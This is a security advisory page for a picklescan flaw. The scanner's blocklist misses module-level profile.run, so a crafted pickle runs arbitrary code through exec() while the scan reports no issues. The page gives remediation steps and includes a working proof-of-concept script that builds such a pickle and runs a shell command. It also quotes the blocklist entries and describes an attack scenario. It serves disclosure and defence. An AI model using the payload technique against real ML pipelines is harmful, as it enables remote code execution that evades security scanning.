GHSA-7wx9-6375-f5wh: picklescan: Allowlist Bypass evades input filtering
GHSA-7wx9-6375-f5wh CRITICALUpgrade picklescan to 1.0.4 immediately — any team using this tool as a security gate for ML model ingestion has been getting false negatives on a trivially exploitable RCE vector. Re-audit all pickle files previously cleared by older versions, as a 20-byte payload bypasses the scanner completely while executing arbitrary code via exec(). Until patched, treat picklescan output on any 'profile' module usage as untrustworthy.
What is the risk?
Critical risk for organizations using picklescan as a security control in ML pipelines. Exploitability is trivial — the PoC requires no AI/ML expertise, just basic pickle serialization knowledge. The false-negative output (0 issues) is the most dangerous aspect: teams gain false confidence and lower their guard. Exposure is highest in MLOps pipelines that auto-load externally sourced models (HuggingFace Hub, MLflow registries, model marketplaces) after passing picklescan. CVSS 9.8 is accurate given no privileges or interaction required.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| picklescan | pip | < 1.0.4 | 1.0.4 |
Do you use picklescan? You're affected.
How severe is it?
What is the attack surface?
What should I do?
6 steps-
IMMEDIATE
Upgrade picklescan to ≥1.0.4 across all environments and CI/CD pipelines.
-
AUDIT
Re-scan all pickle files previously cleared by older versions — prioritize externally sourced models.
-
DETECT
Search model files for 'profile' module references using: grep -r 'profile' <model_dir> or run updated picklescan.
-
ARCHITECTURAL
Migrate from pickle to safer serialization formats (safetensors for PyTorch, ONNX for cross-framework use) — pickle is inherently unsafe regardless of scanners.
-
DEFENSE-IN-DEPTH: Never load pickle files in privileged contexts; use sandboxed environments (containers with no network, minimal syscalls via seccomp) for model loading.
-
MONITOR
Alert on exec() calls and unexpected child processes spawned during model loading.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-7wx9-6375-f5wh?
Upgrade picklescan to 1.0.4 immediately — any team using this tool as a security gate for ML model ingestion has been getting false negatives on a trivially exploitable RCE vector. Re-audit all pickle files previously cleared by older versions, as a 20-byte payload bypasses the scanner completely while executing arbitrary code via exec(). Until patched, treat picklescan output on any 'profile' module usage as untrustworthy.
Is GHSA-7wx9-6375-f5wh actively exploited?
No confirmed active exploitation of GHSA-7wx9-6375-f5wh has been reported, but organizations should still patch proactively.
How to fix GHSA-7wx9-6375-f5wh?
1. IMMEDIATE: Upgrade picklescan to ≥1.0.4 across all environments and CI/CD pipelines. 2. AUDIT: Re-scan all pickle files previously cleared by older versions — prioritize externally sourced models. 3. DETECT: Search model files for 'profile' module references using: grep -r 'profile' <model_dir> or run updated picklescan. 4. ARCHITECTURAL: Migrate from pickle to safer serialization formats (safetensors for PyTorch, ONNX for cross-framework use) — pickle is inherently unsafe regardless of scanners. 5. DEFENSE-IN-DEPTH: Never load pickle files in privileged contexts; use sandboxed environments (containers with no network, minimal syscalls via seccomp) for model loading. 6. MONITOR: Alert on exec() calls and unexpected child processes spawned during model loading.
What systems are affected by GHSA-7wx9-6375-f5wh?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps/CI-CD pipelines, model registries, agent frameworks.
What is the CVSS score for GHSA-7wx9-6375-f5wh?
GHSA-7wx9-6375-f5wh has a CVSS v3.1 base score of 9.8 (CRITICAL).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0011.000 Unsafe AI Artifacts AML.T0018.002 Embed Malware AML.T0074 Masquerading AML.T0107 Exploitation for Defense Evasion Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary picklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `"Profile.run"` does not match the pickle global name `"run"`. ## Severity **High** — Direct code execution via `exec()` with zero scanner detection. ## Affected Versions - picklescan v1.0.3 (latest — the profile entries were added in recent versions) - Earlier versions also affected (profile not blocked at all) ## Details ### Root Cause In `scanner.py` line 199, the blocklist entry for `profile` is: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` When a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts: - `module = "profile"` - `name = "run"` The blocklist check at line 414 is: ```python elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter): ``` This checks: is `"run"` in `{"Profile.run", "Profile.runctx"}`? **Answer: NO.** `"run" != "Profile.run"`. The string comparison is exact — there is no prefix/suffix matching. ### What `profile.run()` Does ```python # From Python's Lib/profile.py def run(statement, filename=None, sort=-1): prof = Profile() try: prof.run(statement) # Calls exec(statement) except SystemExit: pass ... ``` `profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution. ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # profile.run("import os; os.system('id')") payload = ( b"\x80\x04\x95" + struct.pack("<Q", 60) + sbu("profile") + sbu("run") + b"\x93" + sbu("import os; os.system('id')") + b"\x85" + b"R" + b"." ) # picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"}) from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN! # Execute: runs exec("import os; os.system('id')") → RCE pickle.loads(payload) ``` ### Comparison | Pickle Global | Blocklist Entry | Match? | Result | |--------------|-----------------|--------|--------| | `("profile", "run")` | `"Profile.run"` | NO — `"run" != "Profile.run"` | CLEAN (bypass!) | | `("profile", "Profile.run")` | `"Profile.run"` | YES | DETECTED | | `("profile", "runctx")` | `"Profile.runctx"` | NO — `"runctx" != "Profile.runctx"` | CLEAN (bypass!) | The pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code. ## Impact `profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely. ## Suggested Fix Change the `profile` blocklist entry from: ```python "profile": {"Profile.run", "Profile.runctx"}, ``` to: ```python "profile": "*", ``` Or explicitly add the module-level functions: ```python "profile": {"Profile.run", "Profile.runctx", "run", "runctx"}, ``` ## Resources - picklescan source: `scanner.py` line 199 (`"profile": {"Profile.run", "Profile.runctx"}`) - picklescan source: `scanner.py` line 414 (exact string match logic) - Python source: `Lib/profile.py` `run()` function — calls `exec()`
Exploitation Scenario
Attacker crafts a malicious PyTorch or scikit-learn model file using pickle serialization that embeds a profile.run() call with an arbitrary payload (e.g., reverse shell, credential harvester, cryptominer). They upload it to a shared model registry, HuggingFace Hub, or submit it via a model fine-tuning API. The defender's CI/CD pipeline runs picklescan — result: 0 issues, model marked safe. The model is promoted to production and loaded for inference. On load, profile.run() triggers exec(), executing the attacker's payload in the context of the ML serving infrastructure — typically with access to cloud credentials, training data, and internal network segments. The attack leaves no obvious traces since the execution happens during what appears to be legitimate model loading.
Weaknesses (CWE)
CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
- [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-3490 10.0 picklescan: blocklist bypass enables full RCE
Same package: picklescan GHSA-vvpj-8cmc-gx39 10.0 picklescan: security flaw enables exploitation
Same package: picklescan GHSA-g38g-8gr9-h9xp 9.8 picklescan: Allowlist Bypass evades input filtering
Same package: picklescan CVE-2025-1945 9.8 picklescan: ZIP flag bypass enables RCE in PyTorch models
Same package: picklescan CVE-2025-71321 9.8 picklescan: blocklist bypass allows arbitrary file write/RCE
Same package: picklescan